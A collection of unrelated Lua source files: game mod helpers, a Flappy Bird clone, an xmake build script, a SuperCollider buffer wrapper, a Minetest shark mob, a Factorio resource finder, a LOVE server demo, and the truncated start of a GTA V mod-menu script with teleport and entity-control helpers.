if Client and Client.Character and (Client.Character.IsGameMaster and not Client.Character.IsPossessed) then
return true
end
if not Vars.ControllerEnabled then
local ui = ui or Ext.GetUIByType(Data.UIType.characterSheet)
if ui then
---@type CharacterSheetMainTimeline
local this = this or ui:GetRoot()
if this and this.isGameMasterChar then
return true
end
end
end
return false
end
---Tries to get a character from a double value.
---@param double number
---@return EclCharacter
function GameHelpers.Client.TryGetCharacterFromDouble(double)
local b,character = xpcall(function()
if not GameHelpers.Math.IsNaN(double) then
local handle = Ext.DoubleToHandle(double)
if handle then
return Ext.GetCharacter(handle)
end
else
fprint(LOGLEVEL.WARNING, "[GameHelpers.Client.TryGetCharacterFromDouble] Double handle is NaN (not a number)!")
return nil
end
end, debug.traceback)
return character
end
|
ATTRIBUTE.name = "Computers"
ATTRIBUTE.description = "."
ATTRIBUTE.category = "Proffesions"
|
require('Vars')
require('World')
require('Bird')
require('Camera')
Pipes = {
pipes = {},
w = 50,
x = Screen.w,
space = {
x = Screen.w/2
}
}
function Pipes.create()
space = {}
space.h = love.math.random(100,160)
space.y = love.math.random(50, Screen.h - (space.h+50))
block1 = {
x = Pipes.x,
width = Pipes.w,
height = space.y - space.h/2
}
block1.y = block1.height / 2
block1.body = love.physics.newBody(World, block1.x, block1.y, "static")
block1.shape = love.physics.newRectangleShape(block1.width, block1.height)
block1.fixture = love.physics.newFixture(block1.body, block1.shape, 5) -- A higher density gives it more mass.
block2 = {
x = Pipes.x,
width = Pipes.w,
height = Screen.h - (block1.height + space.h)
}
block2.y = block1.height + space.h + block2.height/2
block2.body = love.physics.newBody(World, block2.x, block2.y, "static")
block2.shape = love.physics.newRectangleShape(block2.width, block2.height)
block2.fixture = love.physics.newFixture(block2.body, block2.shape, 1)
Pipes.x = Pipes.x + Pipes.space.x
return {one = block1, two = block2, scored=false, space = space}
end
while Pipes.x < Screen.w*2+1 do
table.insert(Pipes.pipes, Pipes.create())
end
function Pipes.reset()
for _, pipe in pairs(Pipes.pipes) do
pipe.one.body:setX(Pipes.x)
pipe.two.body:setX(Pipes.x)
Pipes.x = Pipes.x + Pipes.space.x
pipe.scored = false
end
end
function Pipes:updatePosition(pipe)
if pipe.one.body:getX() < Bird.body:getX() - (Screen.w/2 + Pipes.w/2) then -- If the pipe is off the Screen
--reset the pipe to come onto the Screen
pipe.one.body:setX(Bird.body:getX() + Screen.w + Pipes.w/2)
pipe.two.body:setX(Bird.body:getX() + Screen.w + Pipes.w/2)
pipe.scored = false
Pipes:updateSpacing(pipe)
end
end
function Pipes:updateSpacing(pipe)
space = {}
space.h = love.math.random(100,160)
space.y = love.math.random(50, Screen.h - (space.h+50))
pipe.one.height = space.y - space.h/2
pipe.two.height = Screen.h - (block1.height + space.h)
pipe.one.y = pipe.one.height / 2
pipe.one.body:setY(pipe.one.height / 2)
pipe.two.y = pipe.one.height + space.h + pipe.two.height/2
pipe.two.body:setY(pipe.one.height + space.h + pipe.two.height/2)
pipe.one.fixture:destroy()
pipe.one.shape = love.physics.newRectangleShape(pipe.one.width, pipe.one.height)
pipe.one.fixture = love.physics.newFixture(pipe.one.body, pipe.one.shape, 1)
pipe.two.fixture:destroy()
pipe.two.shape = love.physics.newRectangleShape(pipe.two.width, pipe.two.height)
pipe.two.fixture = love.physics.newFixture(pipe.two.body, pipe.two.shape, 1)
end
function Pipes.draw()
love.graphics.setColor(0.20, 0.20, 0.20) -- set the drawing color to grey for the blocks
for _, pipe in pairs(Pipes.pipes) do --Draw the Pipes
pipe.img = Images.pipe
pipe.x = pipe.one.body:getX() + Pipes.w/2 - Camera.x
pipe.y = pipe.one.body:getY() + pipe.one.height/2
pipe.o = math.pi
pipe.sx = pipe.one.width/pipe.img:getWidth()
love.graphics.draw(pipe.img, pipe.x, pipe.y, pipe.o, pipe.sx, 1)
pipe.img = Images.pipe
pipe.x = pipe.two.body:getX() - Pipes.w/2 - Camera.x
pipe.y = pipe.two.body:getY() - pipe.two.height/2
pipe.o = 0
pipe.sx = pipe.two.width/pipe.img:getWidth()
love.graphics.draw(pipe.img, pipe.x, pipe.y, pipe.o, pipe.sx, 1)
end
end
function Pipes:collision(pipe)
distance1, _, _, _, _ = love.physics.getDistance(Bird.fixture, pipe.one.fixture)
distance2, _, _, _, _ = love.physics.getDistance(Bird.fixture, pipe.two.fixture)
if distance1 == 0 or distance2 == 0 then --If the player hit a pipe or the Ground
if Game.over == false then
Game.over = true
Bird.body:setLinearVelocity(0, 0)
Bird.body:setX(Bird.body:getX()) --This line is why we need the if statement, otherwise the Bird just keeps travelling backwards
Sounds.hit:play()
Sounds.fail:play()
end
end
end
|
-- add target
target("demo")
-- set kind
set_kind("binary")
-- add deps
add_deps("[targetname]")
-- add defines
add_defines("__tb_prefix__=\"demo\"")
-- set the object files directory
set_objectdir("$(buildir)/.objs")
-- add links directory
add_linkdirs("$(buildir)")
-- add includes directory
add_includedirs("$(buildir)")
add_includedirs("$(buildir)/[targetname]")
-- add links
add_links("[targetname]")
-- add packages
add_options("tbox", "base")
-- add files
add_files("*.c")
|
local funcs = require("sclua.funcs")
local Buffer_metatable = {}
Buffer_metatable.__index = Buffer_metatable
function Buffer_metatable:alloc(numframes, numchannels,cmplMsg)
numchannels = numchannels or 1
OSCFunc.newfilter("/b_info",self.bufnum,self:queryresponse(),true)
ThreadServerSendT{{'/b_alloc', {self.bufnum, numframes, numchannels}},{"/b_query",{self.bufnum}}}
return self
end
function Buffer_metatable:allocRead(path,start,numframes)
start = start or 0
numframes = numframes or -1
OSCFunc.newfilter("/b_info",self.bufnum,self:queryresponse(),true)
--ThreadServerSendT{{'/b_allocRead', {self.bufnum, path, start, numframes}},{"/b_query",{self.bufnum}}}
ThreadServerSend{'/b_allocRead', {self.bufnum, path, start, numframes,{"blob",toOSC({"/b_query",{self.bufnum}})}}}
end
function Buffer_metatable:allocReadChannel(path,start,numframes,channels)
start = start or 0
numframes = numframes or -1
channels = channels or {0}
--channels[#channels+1] = {"blob",""} --supernova needs that no more
OSCFunc.newfilter("/b_info",self.bufnum,self:queryresponse(),true)
local msg = {'/b_allocReadChannel', {self.bufnum, path, start, numframes,unpack(channels)}}
table.insert(msg[2],{"blob",toOSC({"/b_query",{self.bufnum}})})
ThreadServerSend(msg)
end
function Buffer_metatable:read(path,start,numframes,bufstart,leaveopen)
start = start or 0
numframes = numframes or -1
bufstart = bufstart or 0
leaveopen = leaveopen or 0
OSCFunc.newfilter("/done",{"/b_read",self.bufnum},function(msg) prtable(msg) end,true)
ThreadServerSend(self.server:Msg('/b_read', self.bufnum, path, start, numframes,bufstart,leaveopen))
end
--Header format is one of:
--"aiff", "next", "wav", "ircam"", "raw"
--Sample format is one of:
--"int8", "int16", "int24", "int32", "float", "double", "mulaw", "alaw"
function Buffer_metatable:write(path,headerf,samplef, numframes, bufstart, leaveopen, cmplMsg)
headerf = headerf or "wav"
samplef = samplef or "float"
numframes = numframes or -1
bufstart = bufstart or 0
leaveopen = leaveopen or 0
OSCFunc.newfilter("/done",{"/b_write",self.bufnum},function(msg) end,true)
ThreadServerSend(self.server:Msg('/b_write', self.bufnum, path, headerf, samplef, numframes, bufstart, leaveopen,cmplMsg))
end
function Buffer_metatable:free()
self.server:sendMsg('/b_free', self.bufnum)
self.server.allbuffers[self] = nil
end
function Buffer_metatable:zero()
self.server:sendMsg('/b_zero', self.bufnum)
end
function Buffer_metatable:set(index, value)
self.server:sendMsg('/b_set', self.bufnum, index, value)
end
function Buffer_metatable:setn(index, numsamples, value) -- not ready perphas ... instead of value or use unpack
self.server:sendMsg('/b_setn', self.bufnum, index, numsamples, unpack(value))
end
function Buffer_metatable:fill(index, numsamples, value)
self.server:sendMsg('/b_fill', self.bufnum, index, numsamples, value)
end
function Buffer_metatable:close()
self.server:sendMsg('/b_close', self.bufnum)
end
function Buffer_metatable:queryresponse()
return function(msg)
print("buffer:",msg[2][1]," frames:",msg[2][2]," channels:",msg[2][3]," samprate:",msg[2][4])
self.frames = msg[2][2]
self.channels = msg[2][3]
end
end
function Buffer_metatable:query(block)
if block then
print("blockin on b_query",self.bufnum)
local tmplinda = lanes.linda()
OSCFunc.newfilter("/b_info",self.bufnum,self:queryresponse(),true,true,tmplinda)
ThreadServerSend(self.server:Msg('/b_query', self.bufnum))
local key,val = tmplinda:receive("OSCReceive") -- wait
OSCFunc.handleOSCReceive(val) -- clean responder and print
else
OSCFunc.newfilter("/b_info",self.bufnum,self:queryresponse(),true)
ThreadServerSend(self.server:Msg('/b_query', self.bufnum))
end
end
function Buffer_metatable:get(index)
self.server:sendMsg('/b_get', self.bufnum, index)
end
function Buffer_metatable:getn(index, numsamples,action)
assert(numsamples)
if action then
OSCFunc.newfilter("/b_setn",self.bufnum,function(msg2)
--prtable(msg2)
local t = {}
for i=4,#msg2[2] do
t[#t+1] = msg2[2][i]
end
action(t)
end,true)
end
ThreadServerSend(self.server:Msg('/b_getn', self.bufnum, index, numsamples))
end
function Buffer_metatable:loadToFloatArray(index, count, action)
--forkIfNeeded(function()
index = index or 0
count = count or -1
local tmpPath = os.tmpname()
self:write(tmpPath, "wav", "float", count, index)
self.server:sync()
local sndfile = require"sndfile_ffi"
local ffi = require"ffi"
local sf = sndfile.Sndfile(tmpPath)
--print("sf load",tmpPath,sf:channels(),sf:frames(),sf:samplerate(),sf:format())
local samples = tonumber(sf:channels()*sf:frames())
--print("samples",samples,type(samples))
local rbuff = ffi.new("float[?]",samples)
local readen = sf:readf_float(rbuff, sf:frames())
--assert(200==readen)
if sf:frames()~=readen then
prerror("sf error:",sndfile.C.sf_error(sf.sf))
end
local ret = {}
for i=0,samples-1 do
ret[i+1] = rbuff[i]
end
sf:close()
local ok,err = os.remove(tmpPath)
if not ok then prerror("could not delete tmp file ",err) end
--print"calling action"
if action then action(ret) end
--print"called action"
return ret
--end)
end
function Buffer_metatable:__gc()
self:free()
end
-- support garbage collection:
function Buffer_metatable:__gc()
self:free()
end
return Buffer_metatable
|
-------------------------------------------------------------------------------
-- Mob Framework Mod by Sapier
-- Converted to 'creatures' mob engine API by Jordan Irwin (AntumDeluge)
--
-- You may copy, use, modify or do nearly anything except removing this
-- copyright notice.
-- And of course you are NOT allow to pretend you have written it.
--
--! @file init.lua
--! @brief shark implementation
--! @copyright Sapier
--! @author Sapier
--! @date 2014-05-30
--
-- Contact sapier a t gmx net
-------------------------------------------------------------------------------
local S = core.get_translator("shark")
cmer_shark = {
modname = core.get_current_modname()
}
cmer_shark.modpath = core.get_modpath(cmer_shark.modname)
local version = "1.0"
local variant = "me" -- Creatures MOB-Engine
local version_full = tostring(version) .. "-" .. variant
local function mlog(lvl, msg)
if lvl and msg == nil then
msg = lvl
lvl = nil
end
if lvl == nil then
core.log("[" .. cmer_shark.modname .. "] " .. msg)
else
core.log(lvl, "[" .. cmer_shark.modname .. "] " .. msg)
end
end
mlog("action", "v" .. version_full .. " loading ...")
local mobname = "creatures:shark"
local scripts = {
"settings",
"items",
}
for _, script in ipairs(scripts) do
dofile(cmer_shark.modpath .. "/" .. script .. ".lua")
end
local spawn_nodes = {"group:sand", "default:clay"}
if core.global_exists("ethereal") then
table.insert(spawn_nodes, "ethereal:seaweed")
end
local shark_def = {
name = ":creatures:shark",
nametag = creatures.feature_nametags and S("Shark") or nil,
stats = {
hp = 15, -- TODO: add setting to change
--hp_min = 10,
--hp_max = 15,
hostile = true,
lifetime = 600, -- 10 minutes
can_jump = 0,
can_swim = true,
},
-- FIXME:
-- - shark moves on land after being attacked
-- - shark doesn't attack until attacked
-- - shark floats into air when attacked
modes = {
idle = {
chance = 0.1,
duration = 30,
moving_speed = 0,
},
follow = {
chance = 0.1,
duration = 120,
moving_speed = 2,
},
attack = {
chance = 0.8,
moving_speed = 3,
},
},
model = {
mesh = "shark.b3d",
textures = {"shark_mesh.png"},
collisionbox = {-0.38, -0.25, -0.38, 0.38, 0.25, 0.38},
--rotation = 0.0,
animations = {
idle = {
start = 1,
stop = 80,
speed = 24,
},
follow = {
start = 80,
stop = 160,
speed = 24,
},
attack = {
start = 80,
stop = 160,
speed = 24,
},
},
},
drops = {
{"shark:meat_raw", 3, 1.0},
{"shark:tooth", {min=1, max=3}, 0.4},
{"shark:skin", 1, 0.4},
},
combat = {
attack_damage = 6,
--attack_speed = 1.0,
attack_radius = 2.0,
--search_enemy = ,
--search_timer = ,
search_radius = 10.0,
--search_type = ,
},
spawning = {
abm_nodes = {
spawn_on = spawn_nodes,
neighbors = {"default:water_source", "default:water_flowing",},
},
abm_interval = cmer_shark.interval,
abm_chance = cmer_shark.chance,
--max_number = 1,
number = 1,
time_range = {min=cmer_shark.min_time, max=cmer_shark.max_time},
light = {min=cmer_shark.min_light, max=cmer_shark.max_light},
height_limit = {min=cmer_shark.min_height, max=cmer_shark.max_height},
},
}
creatures.register_mob(shark_def)
if core.global_exists("asm") then
asm.addEgg({
name = "shark",
inventory_image = "shark_inv.png",
spawn = mobname,
ingredients = "shark:tooth",
})
end
mlog("action", "v" .. version_full .. " loaded")
|
---@class GridEntityType @enum
GridEntityType = {}
---
--- 0
GridEntityType.GRID_NULL = 0
---
--- 1
GridEntityType.GRID_DECORATION = 1
---
--- 2
GridEntityType.GRID_ROCK = 2
---
--- 3
GridEntityType.GRID_ROCKB = 3
---
--- 4
GridEntityType.GRID_ROCKT = 4
---
--- 5
GridEntityType.GRID_ROCK_BOMB = 5
---
--- 6
GridEntityType.GRID_ROCK_ALT = 6
---
--- 7
GridEntityType.GRID_PIT = 7
---
--- 8
GridEntityType.GRID_SPIKES = 8
---
--- 9
GridEntityType.GRID_SPIKES_ONOFF = 9
---
--- 10
GridEntityType.GRID_SPIDERWEB = 10
---
--- 11
GridEntityType.GRID_LOCK = 11
---
--- 12
GridEntityType.GRID_TNT = 12
--- not used!
---
--- 13
GridEntityType.GRID_FIREPLACE = 13
---
--- 14
GridEntityType.GRID_POOP = 14
---
--- 15
GridEntityType.GRID_WALL = 15
---
--- 16
GridEntityType.GRID_DOOR = 16
---
--- 17
GridEntityType.GRID_TRAPDOOR = 17
---
--- 18
GridEntityType.GRID_STAIRS = 18
---
--- 19
GridEntityType.GRID_GRAVITY = 19
---
--- 20
GridEntityType.GRID_PRESSURE_PLATE = 20
---
--- 21
GridEntityType.GRID_STATUE = 21
---
--- 22
GridEntityType.GRID_ROCK_SS = 22
---
--- 23
GridEntityType.GRID_TELEPORTER = 23
---
--- 24
GridEntityType.GRID_PILLAR = 24
---
--- 25
GridEntityType.GRID_ROCK_SPIKED = 25
--- special skull in Depths 2
---
--- 26
GridEntityType.GRID_ROCK_ALT2 = 26
---
--- 27
GridEntityType.GRID_ROCK_GOLD = 27
return GridEntityType
|
local find_patch = {}
find_patch.MAX_INT32 = 2147483647
find_patch.range = 10000
local function isValid(x)
if not x or not x.valid then return end
return x
end
local function round(num, dp)
local mult = 10 ^ (dp or 0)
return math.floor(num * mult + 0.5) / mult
end
function find_patch.getDistance(pos1, pos2)
local pos1 = {x = pos1.x or pos1[1], y = pos1.y or pos1[2]}
local pos2 = {x = pos2.x or pos2[1], y = pos2.y or pos2[2]}
local a = math.abs(pos1.x - pos2.x)
local b = math.abs(pos1.y - pos2.y)
local c = math.sqrt(a ^ 2 + b ^ 2)
return c
end
function find_patch.getClosest(pos, list)
local x, y = pos.x or pos[1], pos.y or pos[2]
local closest = find_patch.MAX_INT32
for _, posenum in pairs(list) do
local distance = find_patch.getDistance(pos, posenum)
if distance < closest then
x, y = posenum.x, posenum.y
closest = distance
end
end
if closest == find_patch.MAX_INT32 then return end
return {position = {x, y}, distance = closest}
end
local colors = {
iron_ore = {r = 137, g = 186, b = 211},
copper_ore = {r = 252, g = 166, b = 102},
stone = {r = 182, g = 150, b = 87},
coal = {r = 55, g = 50, b = 40},
uranium_ore = {r = 162, g = 249, b = 15},
crude_oil = {r = 144, g = 144, b = 144}
}
function find_patch.findPatch(res_name, range, player)
if (res_name == "square") then IndicateClosestMagicChunk(player) end
local patches = player.surface.find_entities_filtered {
name = res_name,
type = "resource",
position = player.position,
radius = range
}
local all = {}
for each, patch in pairs(patches) do table.insert(all, patch.position) end
local found = find_patch.getClosest(player.position, all)
if not found then
player.print("No " .. res_name .. " patch found")
return
end
player.print(res_name .. " found " .. round(found.distance, 2) ..
" tiles away")
res_name = res_name:gsub("-", "_")
local line = rendering.draw_line {
surface = player.surface,
from = player.character,
to = found.position,
players = {player.index},
color = colors[res_name],
width = 3.2,
gap_length = 5,
dash_length = 8,
time_to_live = 60 * 60
}
local circle = rendering.draw_circle {
color = colors[res_name],
radius = 4,
width = 6.4,
filled = false,
target = found.position,
players = {player.index},
surface = player.surface,
time_to_live = 60 * 60
}
end
local resources = {
["i"] = "iron-ore",
["iron"] = "iron-ore",
["iron-ore"] = "iron-ore",
["iron_ore"] = "iron-ore",
["c"] = "copper-ore",
["copper"] = "copper-ore",
["copper-ore"] = "copper-ore",
["copper_ore"] = "copper-ore",
["s"] = "stone",
["stone"] = "stone",
["coal"] = "coal",
["u"] = "uranium-ore",
["uranium"] = "uranium-ore",
["uranium-ore"] = "uranium-ore",
["uranium_ore"] = "uranium-ore",
["o"] = "crude-oil",
["oil"] = "crude-oil",
["crude-oil"] = "crude-oil",
["crude_oil"] = "crude-oil",
["square"] = "square",
["magic-square"] = "square",
["magic_square"] = "square",
["magic"] = "square"
}
commands.add_command('find', 'finds the nearest patch of given resource',
function(command)
local player = game.players[command.player_index]
if isValid(player) and player.admin then
local resource = command.parameter
if resources[resource] then
find_patch.findPatch(resources[resource], find_patch.range, player)
end
else
player.print("[color=red]admin only...[/color]")
end
end)
return find_patch
|
love.filesystem.require("Server.lua")
lastevnt = ""
time = 0
function connCallback(ip, port)
lastevnt = "Client " .. ip .. " connected."
end
function rcvCallback(data, ip, port)
lastevnt = "Client " .. ip .. " sent: " .. data
end
function disconnCallback(ip, port)
lastevnt = "Client " .. ip .. " disconnected."
end
server:Init(9090)
server:setPing(true, 3, "ping")
server:setHandshake("Hi") --useless in with this beta LUBE binary (copy-protection)
server:setCallback(rcvCallback, connCallback, disconnCallback)
function keypressed(key)
if key == love.key_q or key == love.key_escape then
love.system.exit()
end
end
function update(dt)
server:update()
server:checkPing(dt)
time = time + dt
if time > 15 then
server:send("LUBE: A smooth experience across the world")
time = 0
end
end
function draw()
text = "Last event:"
love.graphics.draw(text, center.x - fontd.width*#text/2, center.y - fontd.height/2)
love.graphics.draw(lastevnt, center.x - fontd.width*#lastevnt/2, center.y + fontd.height/2)
end
|
local menuroot = menu.my_root()
local menuAction = menu.action
local menuToggle = menu.toggle
local menuToggleLoop = menu.toggle_loop
local joaat = util.joaat
local wait = util.yield
local createPed = PED.CREATE_PED
local getEntityCoords = ENTITY.GET_ENTITY_COORDS
local getPlayerPed = PLAYER.GET_PLAYER_PED
local requestModel = STREAMING.REQUEST_MODEL
local hasModelLoaded = STREAMING.HAS_MODEL_LOADED
local noNeedModel = STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED
local setPedCombatAttr = PED.SET_PED_COMBAT_ATTRIBUTES
local giveWeaponToPed = WEAPON.GIVE_WEAPON_TO_PED
WhiteText = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MISC FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function GetLocalPed()
return PLAYER.PLAYER_PED_ID()
end
function ToastCoordinates(v3coords)
util.toast(v3coords.x .. " || " .. v3coords.y .. " || " .. v3coords.z)
end
function SE_add_explosion(x, y, z, exptype, dmgscale, isheard, isinvis, camshake, nodmg)
FIRE.ADD_EXPLOSION(x, y, z, exptype, dmgscale, isheard, isinvis, camshake, nodmg)
end
function SE_add_owned_explosion(ped, x, y, z, exptype, dmgscale, isheard, isinvis, camshake)
FIRE.ADD_OWNED_EXPLOSION(ped, x, y, z, exptype, dmgscale, isheard, isinvis, camshake)
end
function DistanceBetweenTwoCoords(v3_1, v3_2)
local distance = math.sqrt(((v3_2.x - v3_1.x)^2) + ((v3_2.y - v3_1.y)^2) + ((v3_2.z - v3_1.z)^2))
return distance
end
function GetPlayerName_ped(ped)
local playerID = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(ped)
local playerName = NETWORK.NETWORK_PLAYER_GET_NAME(playerID)
return playerName
end
function GetPlayerName_pid(pid)
local playerName = NETWORK.NETWORK_PLAYER_GET_NAME(pid)
return playerName
end
--thank you to: https://easings.net for the functions!
function EaseOutCubic(x)
return 1 - ((1-x) ^ 3)
end
function EaseInCubic(x)
return x * x * x
end
function EaseInOutCubic(x) --Thank you QUICKNET for re-writing this function!
if(x < 0.5) then
return 4 * x * x * x;
else
return 1 - ((-2 * x + 2) ^ 3) / 2
end
end
function GetTableFromV3Instance(v3int)
local tbl = {x = v3.getX(v3int), y = v3.getY(v3int), z = v3.getZ(v3int)}
return tbl
end
function DoesTableContainValue(table, value)
for _, v in pairs(table) do
if v == value then return true end
end
return false
end
function GetValueIndexFromTable(table, value)
for i, v in pairs(table) do
if v == value then return i end
end
return nil
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- MISC FUNCTIONS END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- CAM FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function SmoothTeleportToCord(v3coords, teleportFrame)
local wppos = v3coords
local localped = getPlayerPed(players.user())
if wppos ~= nil then --cam setup here
if not CAM.DOES_CAM_EXIST(CCAM) then
CAM.DESTROY_ALL_CAMS(true)
CCAM = CAM.CREATE_CAM("DEFAULT_SCRIPTED_CAMERA", true)
CAM.SET_CAM_ACTIVE(CCAM, true)
CAM.RENDER_SCRIPT_CAMS(true, false, 0, true, true, 0)
end
--
if teleportFrame then
util.create_tick_handler(function ()
if CAM.DOES_CAM_EXIST(CCAM) then
local tickCamCoord = CAM.GET_CAM_COORD(CCAM)
if not PED.IS_PED_IN_ANY_VEHICLE(localped, true) then --if they not in a vehicle
ENTITY.SET_ENTITY_COORDS(localped, tickCamCoord.x, tickCamCoord.y, tickCamCoord.z, false, false, false, false) --teleport the player
else
local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
ENTITY.SET_ENTITY_COORDS(veh, tickCamCoord.x, tickCamCoord.y, tickCamCoord.z, false, false, false, false) --teleport the vehicle
end
else
return false
end
end)
end
--
local pc = getEntityCoords(getPlayerPed(players.user()))
--
for i = 0, 1, STP_SPEED_MODIFIER do --make the cam move up here
CAM.SET_CAM_COORD(CCAM, pc.x, pc.y, pc.z + EaseOutCubic(i) * STP_COORD_HEIGHT)
directx.draw_text(0.5, 0.5, tostring(EaseOutCubic(i) * STP_COORD_HEIGHT), 1, 0.6, WhiteText, false)
local look = util.v3_look_at(CAM.GET_CAM_COORD(CCAM), pc)
CAM.SET_CAM_ROT(CCAM, look.x, look.y, look.z, 2)
wait()
end
--CAM.DO_SCREEN_FADE_OUT(1000) --fade out the screen
------------
local currentZ = CAM.GET_CAM_COORD(CCAM).z
local coordDiffx = wppos.x - pc.x
local coordDiffxy = wppos.y - pc.y
for i = 0, 1, STP_SPEED_MODIFIER / 2 do --make the camera on x/y plane
CAM.SET_CAM_COORD(CCAM, pc.x + (EaseInOutCubic(i) * coordDiffx), pc.y + (EaseInOutCubic(i) * coordDiffxy), currentZ)
wait()
end
-- local groundZ = PATHFIND.GET_APPROX_HEIGHT_FOR_POINT(wppos.x, wppos.y)
-- ENTITY.SET_ENTITY_COORDS(localped, wppos.x, wppos.y, groundZ, false, false, false, false)
local success, ground_z
repeat
STREAMING.REQUEST_COLLISION_AT_COORD(wppos.x, wppos.y, wppos.z)
success, ground_z = util.get_ground_z(wppos.x, wppos.y)
util.yield()
until success
if not PED.IS_PED_IN_ANY_VEHICLE(localped, true) then --if they not in a vehicle
ENTITY.SET_ENTITY_COORDS(localped, wppos.x, wppos.y, ground_z, false, false, false, false) --teleport the player
else
local veh = PED.GET_VEHICLE_PED_IS_IN(localped, false)
local v3Out = memory.alloc()
local headOut = memory.alloc()
PATHFIND.GET_CLOSEST_VEHICLE_NODE_WITH_HEADING(wppos.x, wppos.y, ground_z, v3Out, headOut, 1, 3.0, 0)
local head = memory.read_float(headOut)
memory.free(headOut)
memory.free(v3Out)
ENTITY.SET_ENTITY_COORDS(veh, wppos.x, wppos.y, ground_z, false, false, false, false) --teleport the vehicle
ENTITY.SET_ENTITY_HEADING(veh, head)
end
wait()
local pc2 = getEntityCoords(getPlayerPed(players.user()))
local coordDiffz = CAM.GET_CAM_COORD(CCAM).z - ground_z -2
local camcoordz = CAM.GET_CAM_COORD(CCAM).z
--CAM.DO_SCREEN_FADE_IN(2000) --fade in the screen
for i = 0, 1, STP_SPEED_MODIFIER / 2 do --move the camera down
local pc23 = getEntityCoords(getPlayerPed(players.user()))-- extra for x/y
CAM.SET_CAM_COORD(CCAM, pc23.x, pc23.y, camcoordz - (EaseOutCubic(i) * coordDiffz))
wait()
end
-------------
----
wait()
--camera deletion here
CAM.RENDER_SCRIPT_CAMS(false, false, 0, true, true, 0)
if CAM.IS_CAM_ACTIVE(CCAM) then
CAM.SET_CAM_ACTIVE(CCAM, false)
end
CAM.DESTROY_CAM(CCAM, true)
else
util.toast("No waypoint set!")
end
end
function SmoothTeleportToVehicle(pedInVehicle)
local wppos = getEntityCoords(pedInVehicle)
local localped = getPlayerPed(players.user())
--check for emtpy seats
local maxPassengers = VEHICLE.GET_VEHICLE_MAX_NUMBER_OF_PASSENGERS(veh)
local seatFree = false
local continueQ
local veh = PED.GET_VEHICLE_PED_IS_IN(pedInVehicle, false)
for i = -1, maxPassengers do --check for empty seats
seatFree = VEHICLE.IS_VEHICLE_SEAT_FREE(veh, i, false)
if seatFree then
continueQ = true
end
end
if seatFree == false then
util.toast("No seats available in said vehicle.")
continueQ = false
end
-- > --
if wppos ~= nil then --cam setup here
if not CAM.DOES_CAM_EXIST(CCAM) then
CAM.DESTROY_ALL_CAMS(true)
CCAM = CAM.CREATE_CAM("DEFAULT_SCRIPTED_CAMERA", true)
CAM.SET_CAM_ACTIVE(CCAM, true)
CAM.RENDER_SCRIPT_CAMS(true, false, 0, true, true, 0)
end
--
local pc = getEntityCoords(getPlayerPed(players.user()))
--
for i = 0, 1, STP_SPEED_MODIFIER do --make the cam move up here
CAM.SET_CAM_COORD(CCAM, pc.x, pc.y, pc.z + EaseOutCubic(i) * STP_COORD_HEIGHT)
directx.draw_text(0.5, 0.5, tostring(EaseOutCubic(i) * STP_COORD_HEIGHT), 1, 0.6, WhiteText, false)
local look = util.v3_look_at(CAM.GET_CAM_COORD(CCAM), pc)
CAM.SET_CAM_ROT(CCAM, look.x, look.y, look.z, 2)
wait()
end
--CAM.DO_SCREEN_FADE_OUT(1000) --fade out the screen
------------
local currentZ = CAM.GET_CAM_COORD(CCAM).z
local coordDiffx = wppos.x - pc.x
local coordDiffxy = wppos.y - pc.y
for i = 0, 1, STP_SPEED_MODIFIER / 2 do --make the camera on x/y plane
CAM.SET_CAM_COORD(CCAM, pc.x + (EaseInOutCubic(i) * coordDiffx), pc.y + (EaseInOutCubic(i) * coordDiffxy), currentZ)
wait()
end
PED.SET_PED_INTO_VEHICLE(localped, veh, i)
if continueQ then
wait()
local pc2 = getEntityCoords(getPlayerPed(players.user()))
local coordDiffz = CAM.GET_CAM_COORD(CCAM).z - pc2.z
local camcoordz = CAM.GET_CAM_COORD(CCAM).z
--CAM.DO_SCREEN_FADE_IN(2000) --fade in the screen
for i = 0, 1, STP_SPEED_MODIFIER / 2 do --move the camera down
local pc23 = getEntityCoords(pedInVehicle)-- extra for x/y
CAM.SET_CAM_COORD(CCAM, pc23.x, pc23.y, camcoordz - (EaseOutCubic(i) * coordDiffz))
wait()
end
end
wait()
--camera deletion here
CAM.RENDER_SCRIPT_CAMS(false, false, 0, true, true, 0)
if CAM.IS_CAM_ACTIVE(CCAM) then
CAM.SET_CAM_ACTIVE(CCAM, false)
end
CAM.DESTROY_CAM(CCAM, true)
else
util.toast("No waypoint set!")
end
end
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- CAM FUNCTIONS END ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
---- >> ---- ---- >> ---- ---- >> ---- ---- >> ---- NETWORK FUNCTIONS START ---- >> ---- ---- >> ---- ---- >> ---- ---- >> ----
function FastNet(entity, playerID)
local netID = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(entity)
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) then
for i = 1, 30 do
if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(entity) then
NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(entity)
wait(10)
else
goto continue
end
end
end
::continue::
if SE_Notifications then
util.toast("Has control.")
end
NETWORK.NETWORK_REQUEST_CONTROL_OF_NETWORK_ID(netID)
wait(10)
NETWORK.SET_NETWORK_ID_EXISTS_ON_ALL_MACHINES(netID)
wait(10)
NETWORK.SET_NETWORK_ID_CAN_MIGRATE(netID, false)
wait(10)
NETWORK.SET_NETWORK_ID_ALWAYS_EXISTS_FOR_PLAYER(netID, playerID, true)
wait(10)
ENTITY.SET_ENTITY_AS_MISSION_ENTITY(entity, true, false)
wait(10)
ENTITY._SET_ENTITY_CLEANUP_BY_ENGINE(entity, false)
wait(10)
if ENTITY.IS_ENTITY_AN_OBJECT(entity) then
NETWORK.OBJ_TO_NET(entity)
end
wait(10)
if BA_visible then
ENTITY.SET_ENTITY_VISIBLE(entity, true, 0)
else
ENTITY.SET_ENTITY_VISIBLE(entity, false, 0)
wait()
